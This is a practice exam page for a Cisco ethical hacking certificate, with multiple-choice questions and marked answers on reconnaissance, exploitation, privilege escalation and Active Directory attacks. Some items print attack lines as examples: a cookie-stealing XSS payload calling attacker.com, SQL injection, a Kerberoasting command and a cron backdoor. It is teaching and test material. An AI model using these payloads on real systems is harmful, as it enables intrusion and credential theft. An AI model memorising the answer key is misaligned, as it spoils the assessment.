Last updated: May 2026
— Cisco Certificate in Ethical Hacking
Test your knowledge with official exam-style questions
Questions and options are shuffled each attempt
▶Cisco Certificate in Ethical Hacking — Practice Set 1: All Questions & Explanations
Full question text, answer options, and explanations for this practice set — a spoiler-free alternative is the interactive quiz above for scored, shuffled practice.
. A penetration tester wants to discover email addresses and subdomains associated with a target organization without directly interacting with the target's systems. Which tool is best suited for this passive OSINT task?
- A. Nmap
- B. theHarvester(correct)
- C. Metasploit
- D. enum4linux
Explanation: theHarvester is specifically designed for passive OSINT gathering, collecting email addresses, subdomains, and host names from public sources such as search engines, PGP key servers, and Shodan without directly probing the target. Nmap and enum4linux require direct network interaction with the target. Metasploit is an exploitation framework, not an OSINT tool.
. During authorized pre-engagement reconnaissance, a tester uses the Google dork `site:target.com filetype:pdf` to find documents exposed on the target's web server. What category of reconnaissance does this represent?
- A. Active reconnaissance, because it queries a live web server
- B. Passive reconnaissance, because it queries Google's cached index rather than the target directly(correct)
- C. Active reconnaissance, because Google's crawler previously interacted with the target
- D. Social engineering, because it relies on publicly posted documents
Explanation: Google dorking is considered passive reconnaissance because the tester queries Google's cached index rather than sending probes directly to the target's infrastructure. The tester never communicates with the target's systems during this phase. Active reconnaissance involves direct interaction such as port scanning or banner grabbing. Social engineering involves manipulating people, not search engines.
. A tester runs `dig axfr @ns1.target.com target.com` against the target's name server. What is the tester attempting to do, and why is this considered active reconnaissance?
- A. Perform a DNS zone transfer to enumerate all DNS records; it is active because it sends a query directly to the target's name server(correct)
- B. Perform a reverse DNS lookup to map IPs to hostnames; it is active because it modifies DNS records
- C. Retrieve cached DNS records from a public resolver; it is passive because no target system is contacted
- D. Brute-force DNS subdomains using a wordlist; it is active because many requests are sent
Explanation: The `dig axfr` command requests a full DNS zone transfer from the authoritative name server, which would reveal all hostnames, IP addresses, and mail server records if the server is misconfigured to allow it. Because it sends a direct query to the target's name server (ns1.target.com), it is classified as active reconnaissance. A successful zone transfer can expose the entire internal DNS structure of an organization.
. A penetration tester uses Shodan to search for `port:22 org:"Target Corp"`. What is the primary purpose of this search?
- A. To actively exploit SSH servers belonging to Target Corp
- B. To passively discover internet-facing SSH services associated with Target Corp using Shodan's indexed data(correct)
- C. To enumerate usernames on SSH servers via brute force
- D. To perform a man-in-the-middle attack against Target Corp's SSH traffic
Explanation: Shodan is a search engine that continuously indexes internet-connected devices and their open ports. Searching Shodan for Target Corp's SSH services is passive reconnaissance — the tester queries Shodan's pre-collected database rather than scanning the target directly. This reveals internet-facing attack surface without generating any traffic toward the target. Exploitation, brute force, and man-in-the-middle attacks are subsequent phases requiring explicit authorization.
. During threat modeling for a client's web application, a tester applies the STRIDE framework. A threat is identified where an attacker intercepts session tokens transmitted over HTTP to impersonate authenticated users. Which STRIDE category best describes this threat?
- A. Spoofing(correct)
- B. Tampering
- C. Repudiation
- D. Information Disclosure
Explanation: Spoofing in STRIDE refers to an attacker impersonating another entity — in this case, intercepting session tokens to assume the identity of an authenticated user. While token interception itself involves Information Disclosure, the primary threat being modeled is the resulting identity impersonation (Spoofing). Tampering refers to unauthorized modification of data. Repudiation involves denying actions. Information Disclosure involves unauthorized access to data without the goal of impersonation.
. A penetration tester runs `nmap -sS 192.168.1.0/24`. What type of scan is being performed and why is it commonly preferred over a full TCP connect scan?
- A. UDP scan; preferred because it discovers all open services including DNS and SNMP
- B. SYN (half-open) scan; preferred because it is faster and less likely to appear in application logs(correct)
- C. Full TCP connect scan; preferred because it reliably completes the three-way handshake
- D. OS detection scan; preferred because it fingerprints operating systems without opening ports
Explanation: The `-sS` flag performs a TCP SYN (half-open) scan, which sends a SYN packet but tears down the connection with a RST after receiving a SYN-ACK rather than completing the three-way handshake. This is faster than a full connect scan (-sT) and less likely to be logged by the target application because the connection is never fully established. It does require raw socket privileges (root/administrator). Full connect scans (-sT) complete the handshake and are more reliably logged.
. An Nmap scan returns a port as `filtered`. What does this state indicate about the port?
- A. The port is open and a service is actively listening
- B. The port is closed and the OS returned a TCP RST
- C. A firewall or packet filter is blocking probe packets and no response was received or an ICMP unreachable was returned(correct)
- D. The port is open but the service refused the connection with an authentication error
Explanation: Nmap marks a port as `filtered` when it cannot determine whether the port is open or closed because probe packets are being blocked, typically by a firewall or packet filtering device. This manifests as either no response (packet dropped) or an ICMP port-unreachable/administratively-prohibited message. An `open` state means a service is listening; a `closed` state means the port is reachable but no service is listening (OS returns RST/ICMP port unreachable).
. A tester runs `enum4linux -a 192.168.1.50` against a Windows host within an authorized engagement. What information is this command designed to gather?
- A. Open TCP/UDP ports and running service versions on the target
- B. SMB/Samba information including shares, users, groups, and password policies via null sessions(correct)
- C. SNMP community strings and MIB tree data from the target
- D. Web application directory structure via HTTP GET requests
Explanation: enum4linux is a tool that wraps several Samba utilities (smbclient, rpcclient, net) to extract information from Windows and Linux Samba hosts via SMB. With the `-a` flag it performs all available checks, including share enumeration, user and group listing, password policy retrieval, and RID cycling — typically via null (anonymous) SMB sessions on older or misconfigured systems. SNMP enumeration uses tools like snmpwalk, and port scanning is handled by Nmap.
. During an authorized engagement, a tester runs `snmpwalk -v2c -c public 10.10.1.5`. The command returns extensive information. What does this indicate about the target system?
- A. The target has SNMPv3 enabled with strong authentication
- B. The target is running SNMP with the default community string 'public', allowing unauthenticated read access to the MIB tree(correct)
- C. The target's SNMP port is filtered and the response is from a proxy
- D. The tester has successfully exploited the SNMP service and has write access
Explanation: The `-v2c` flag specifies SNMPv2c and `-c public` uses the default community string 'public'. If the command returns data, the target is running SNMP with the default community string, which is a common misconfiguration. This provides unauthenticated read access to the SNMP MIB tree, potentially exposing system information such as interfaces, routing tables, installed software, and running processes. SNMPv3 provides authentication and encryption; snmpwalk with `-v2c -c public` does not exploit — it queries.
. A tester is assessing an Active Directory environment and runs: `ldapsearch -x -H ldap://10.10.1.10 -b 'DC=target,DC=com' '(objectClass=user)'`. What is the significance of the `-x` flag and what does a successful response indicate?
- A. The `-x` flag enables LDAP over TLS; success indicates valid certificate-based authentication
- B. The `-x` flag specifies simple (unauthenticated) bind; success indicates the AD domain allows anonymous LDAP queries, exposing user account objects(correct)
- C. The `-x` flag enables Kerberos authentication; success means the tester has obtained a valid TGT
- D. The `-x` flag performs an exhaustive LDAP dictionary attack; success means a valid password was found
Explanation: In ldapsearch, the `-x` flag specifies a simple bind, which in the absence of credentials (-D and -w) performs an anonymous (unauthenticated) bind. If the AD domain controller responds with user objects, it means the directory is configured to allow anonymous LDAP enumeration — a misconfiguration that exposes usernames, SAM account names, email addresses, and other AD attributes without credentials. Modern hardened AD deployments require authentication for LDAP queries.
. In Metasploit, a tester selects an exploit module and needs to set the target IP address and their own listener IP before running the exploit. Which commands accomplish this?
- A. `set TARGET 192.168.1.100` and `set PAYLOAD_HOST 10.0.0.5`
- B. `set RHOSTS 192.168.1.100` and `set LHOST 10.0.0.5`(correct)
- C. `set RHOST 192.168.1.100` and `set LISTEN 10.0.0.5`
- D. `set DEST 192.168.1.100` and `set SOURCE 10.0.0.5`
Explanation: In Metasploit, `RHOSTS` (Remote Hosts) specifies the target IP address or range, while `LHOST` (Local Host) specifies the attacker's IP address used by the payload for reverse connections. The standard Metasploit workflow is: `use exploit/<module>`, `set RHOSTS <target>`, `set LHOST <attacker-ip>`, optionally `set LPORT <port>`, then `run` or `exploit`. RHOST (singular) was the older form; RHOSTS is current and supports multiple targets.
. During an authorized web application test, a tester submits `' OR '1'='1` in a login form's username field and successfully logs in without a valid password. What type of vulnerability has been exploited?
- A. Cross-Site Scripting (XSS)
- B. SQL Injection — authentication bypass via tautology(correct)
- C. Command Injection
- D. Cross-Site Request Forgery (CSRF)
Explanation: Submitting `' OR '1'='1` in a login field is a classic SQL injection authentication bypass. The injected payload modifies the SQL query to a tautology (always-true condition), causing it to return a valid row regardless of the actual password. For example: `SELECT * FROM users WHERE username='' OR '1'='1' AND password='...'`. Because '1'='1' is always true, the query returns all users. XSS injects scripts into pages viewed by other users; command injection executes OS commands; CSRF tricks authenticated users into making unintended requests.
. A tester discovers a web application that stores user-supplied comments in a database and displays them to all visitors. The tester submits `<script>document.location='http://attacker.com/steal?c='+document.cookie</script>` as a comment. What type of XSS is this, and why is it more dangerous than reflected XSS?
- A. Reflected XSS; more dangerous because the payload is in the URL and easily shared
- B. Stored (persistent) XSS; more dangerous because the payload is saved in the database and executes for every user who views the page without requiring them to click a malicious link(correct)
- C. DOM-based XSS; more dangerous because it bypasses server-side filtering entirely
- D. Blind XSS; more dangerous because the tester cannot see the immediate result in their own browser
Explanation: Stored (persistent) XSS occurs when malicious script is saved in the application's database and served to all subsequent visitors. This is more dangerous than reflected XSS because the payload executes automatically for every user who views the infected page without needing any social engineering or malicious link distribution. In this scenario, the script steals session cookies by redirecting the browser to the attacker's server with the cookie value appended to the URL.
. A tester uses Burp Suite's Proxy to intercept an HTTP POST request for a password change form. The form includes a hidden field `csrf_token=abc123`. The tester wants to test CSRF protection. What should the tester modify to verify whether the token is properly validated server-side?
- A. Change the `Content-Type` header from `application/x-www-form-urlencoded` to `application/json`
- B. Remove or alter the `csrf_token` value and forward the request; if the server accepts it, CSRF validation is absent or flawed(correct)
- C. Add a `X-Forwarded-For` header with a spoofed IP address
- D. Replay the same request with the same token twice to test for token reuse
Explanation: To verify CSRF token validation, the tester should modify or remove the `csrf_token` value in the intercepted request. If the server processes the request successfully despite the invalid or missing token, the CSRF protection is absent or improperly implemented, confirming a CSRF vulnerability. Burp Suite's Proxy allows on-the-fly modification of request parameters before forwarding them. Token reuse testing (option D) tests a different property — single-use enforcement — rather than the core validation logic.
. A tester is cracking a captured NTLM hash using Hashcat. The command used is: `hashcat -a 0 -m 1000 hash.txt rockyou.txt`. What attack mode is specified and what does `-m 1000` indicate?
- A. Brute-force attack; `-m 1000` sets the maximum password length to 1000 characters
- B. Dictionary attack using rockyou.txt as the wordlist; `-m 1000` specifies the NTLM hash type(correct)
- C. Combinator attack; `-m 1000` specifies the number of combination iterations
- D. Rule-based attack; `-m 1000` specifies a custom rule file ID
Explanation: In Hashcat, `-a 0` specifies a dictionary (straight) attack, which tries each word in the provided wordlist (rockyou.txt) as a potential password. The `-m 1000` flag specifies the hash type — 1000 is the module code for NTLM (NT hash). This is the most common starting point for password cracking after capturing NTLM hashes from a Windows environment. Rainbow table attacks are mitigated by salting hashes, which is why modern systems use salted hashes like bcrypt or PBKDF2.
. During an authorized physical penetration test, a tester follows an employee through a secured door without presenting their own badge. What physical security attack is being performed, and what control would most effectively prevent it?
- A. Piggybacking (with implied consent); prevented by security awareness training alone
- B. Tailgating (without the employee's knowledge or consent); prevented by mantrap/airlock entry systems and security awareness training(correct)
- C. Badge cloning; prevented by using RFID-blocking wallets
- D. Shoulder surfing; prevented by privacy screens on workstations
Explanation: Tailgating occurs when an unauthorized person follows an authorized employee through a secured entry point without the employee's knowledge, bypassing badge authentication controls. The most effective technical countermeasure is a mantrap (airlock) — a double-door entry system that allows only one person through at a time and requires badge authentication for each door. Security awareness training that encourages employees to challenge unfamiliar individuals complements physical controls. Piggybacking implies the authorized person knowingly holds the door; badge cloning involves copying RFID credentials.
. After gaining a low-privilege shell on a Linux system during an authorized test, a tester runs: `find / -perm -4000 2>/dev/null`. What is the tester looking for and why?
- A. World-writable files that could be used for data exfiltration
- B. SUID (Set User ID) binaries that execute with the file owner's privileges, potentially allowing privilege escalation to root(correct)
- C. Files modified in the last 24 hours that might indicate recent attacker activity
- D. Cron job scripts that run as root and could be modified for persistence
Explanation: The `find / -perm -4000` command searches the entire filesystem for files with the SUID bit set. SUID binaries execute with the privileges of the file owner (often root) rather than the invoking user. If a SUID binary has a vulnerability or allows arbitrary command execution (e.g., old versions of vim, find, nmap, or python with SUID set), a low-privilege user can exploit it to escalate to root. The `2>/dev/null` suppresses permission-denied error messages for directories the current user cannot read.
. On a compromised Windows host during an authorized engagement, a tester discovers a service with an unquoted path: `C:\Program Files\Vulnerable App\Service\app.exe`. What privilege escalation technique does this enable?
- A. AlwaysInstallElevated — installs an MSI package with SYSTEM privileges
- B. Unquoted service path — places a malicious executable at `C:\Program.exe` or `C:\Program Files\Vulnerable.exe` to be executed by the service with its privileges(correct)
- C. Token impersonation — steals the service's access token via SeImpersonatePrivilege
- D. Pass-the-hash — reuses the service account's NTLM hash for lateral movement
Explanation: When a Windows service's binary path contains spaces and is not enclosed in quotes, the Windows Service Control Manager attempts to resolve the path by trying each space-delimited segment. For `C:\Program Files\Vulnerable App\Service\app.exe`, Windows would try `C:\Program.exe`, then `C:\Program Files\Vulnerable.exe`, etc. If a tester can write a malicious executable to one of those earlier paths, it will be executed with the service's privileges (often SYSTEM) when the service starts.
. During an authorized Active Directory assessment, a tester runs `GetUserSPNs.py -request -dc-ip 10.10.1.1 target.com/lowprivuser:Password1`. What attack is being performed and what is the tester attempting to obtain?
- A. AS-REP Roasting — requesting TGTs for accounts without Kerberos pre-authentication enabled
- B. Kerberoasting — requesting Kerberos service tickets (TGS) for accounts with SPNs, then offline-cracking the tickets to recover service account passwords(correct)
- C. Pass-the-hash — using an NTLM hash to authenticate without knowing the plaintext password
- D. DCSync — replicating domain controller data to retrieve all password hashes
Explanation: Kerberoasting exploits the fact that any authenticated domain user can request Kerberos service tickets (TGS) for accounts with registered Service Principal Names (SPNs). The TGS is encrypted with the service account's NTLM hash. GetUserSPNs.py enumerates SPNs and requests the corresponding tickets, which can then be cracked offline with tools like Hashcat or John the Ripper to recover plaintext passwords. This is particularly effective against service accounts with weak passwords and does not require elevated privileges to initiate.
. An authorized tester has obtained an NTLM hash for a domain administrator account but does not know the plaintext password. They use a tool to authenticate to a remote Windows system using only the hash. What technique is being used and what Windows authentication protocol makes this possible?
- A. Pass-the-ticket — reuses a Kerberos TGT stored in memory; enabled by Kerberos
- B. Pass-the-hash — authenticates using the NTLM hash directly without cracking it; possible because NTLM authentication uses the hash as a credential in the challenge-response protocol(correct)
- C. Overpass-the-hash — converts an NTLM hash into a Kerberos TGT; requires a domain controller connection
- D. Golden Ticket — forges a TGT using the KRBTGT hash; requires domain controller compromise
Explanation: Pass-the-hash (PtH) exploits the NTLM authentication protocol, which uses the NT hash as the actual credential in its challenge-response exchange — the hash is never converted to plaintext during authentication. A tester with a valid NTLM hash (e.g., extracted from LSASS via Mimikatz or from the SAM database) can use tools like PsExec, Impacket's psexec.py, or CrackMapExec to authenticate to remote Windows systems without knowing the plaintext password. This works because NTLM accepts the hash directly in the authentication handshake.
. During an authorized test, a tester establishes persistence on a compromised Linux system by adding a cron job: `* * * * * /tmp/backdoor.sh`. What does this cron schedule do?
- A. Executes backdoor.sh once per hour
- B. Executes backdoor.sh once per day at midnight
- C. Executes backdoor.sh every minute of every hour, every day(correct)
- D. Executes backdoor.sh once per week on Sunday
Explanation: A cron expression consists of five fields: minute, hour, day-of-month, month, and day-of-week. When all five fields are set to `*` (wildcard), the job runs at every minute of every hour on every day. This provides highly persistent execution — the backdoor script runs every 60 seconds regardless of system activity. In a real authorized test, such persistence mechanisms must be documented and removed as part of the engagement cleanup phase detailed in the rules of engagement.
. Before beginning any penetration testing activities, which document must be signed to legally authorize the tester's activities?
- A. Non-Disclosure Agreement (NDA) only
- B. Written authorization / Rules of Engagement (RoE) document signed by the asset owner(correct)
- C. Vulnerability disclosure policy published on the target's website
- D. Bug bounty program terms of service
Explanation: Written authorization from the asset owner — typically formalized in a Rules of Engagement (RoE) document or a Statement of Work — is a legal and ethical requirement before performing any penetration testing activities. Without explicit written authorization, activities that would otherwise constitute unauthorized access may violate computer crime laws such as the Computer Fraud and Abuse Act (CFAA) in the US or similar statutes in other jurisdictions. An NDA protects confidentiality but does not authorize testing. Bug bounty terms or public disclosure policies do not grant the same scope of authorization.
. A penetration testing report rates a finding with CVSSv3 base score vector: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`. What is the severity rating and what does this vector indicate about the vulnerability?
- A. Medium (4.0–6.9); exploitable from the network but requires user interaction and high privileges
- B. Critical (9.0–10.0); exploitable remotely over the network with no authentication, no user interaction, and with high impact to confidentiality, integrity, and availability(correct)
- C. High (7.0–8.9); exploitable locally, requires low privileges, with high impact to all three pillars
- D. Critical (9.0–10.0); exploitable only on adjacent networks with authentication required
Explanation: This CVSSv3 vector decodes as: AV:N (Attack Vector: Network — remotely exploitable), AC:L (Attack Complexity: Low — no special conditions), PR:N (Privileges Required: None — no authentication), UI:N (User Interaction: None — no victim action needed), S:U (Scope: Unchanged), C:H/I:H/A:H (High impact on Confidentiality, Integrity, and Availability). This combination produces a base score of 9.8, rated Critical. It represents a worst-case scenario: an unauthenticated remote attacker can fully compromise the target system.
. What is the correct order of phases in a standard penetration test engagement?
- A. Exploitation → Scanning → Reconnaissance → Post-Exploitation → Reporting → Pre-Engagement
- B. Pre-Engagement → Reconnaissance → Scanning/Enumeration → Exploitation → Post-Exploitation → Reporting(correct)
- C. Reconnaissance → Pre-Engagement → Exploitation → Scanning → Reporting → Post-Exploitation
- D. Pre-Engagement → Exploitation → Reconnaissance → Post-Exploitation → Scanning → Reporting
Explanation: The standard penetration testing methodology follows six sequential phases: (1) Pre-Engagement — scope definition, legal authorization, and rules of engagement; (2) Reconnaissance — passive and active information gathering; (3) Scanning and Enumeration — port scanning, service detection, and vulnerability scanning; (4) Exploitation — gaining initial access using discovered vulnerabilities; (5) Post-Exploitation — privilege escalation, lateral movement, and persistence; (6) Reporting — documenting findings with risk ratings and remediation recommendations. This sequence ensures proper authorization before any active testing begins.
. A pen test report includes the following finding: 'An unauthenticated SQL injection vulnerability in the login page allows full database read access'. In the executive summary section, how should the risk rating and remediation priority be presented?
- A. Low risk; recommend fixing within 180 days as part of routine maintenance
- B. Critical risk; recommend immediate remediation — parameterized queries / prepared statements should replace dynamic SQL, and a WAF rule should be deployed as an interim control(correct)
- C. Medium risk; recommend fixing within 90 days after further testing confirms exploitability
- D. Informational; document for awareness but no remediation action required as database access is read-only
Explanation: An unauthenticated SQL injection vulnerability with full database read access is a Critical-severity finding. The executive summary should convey the business impact clearly (potential exposure of all customer data, credentials, or PII) and provide a prioritized remediation path. The permanent fix is replacing dynamic SQL with parameterized queries or prepared statements, which eliminates the injection vector. A Web Application Firewall rule provides an interim detective and preventive control while code changes are developed and tested. Read-only access does not reduce the severity — confidentiality impact alone can still be Critical.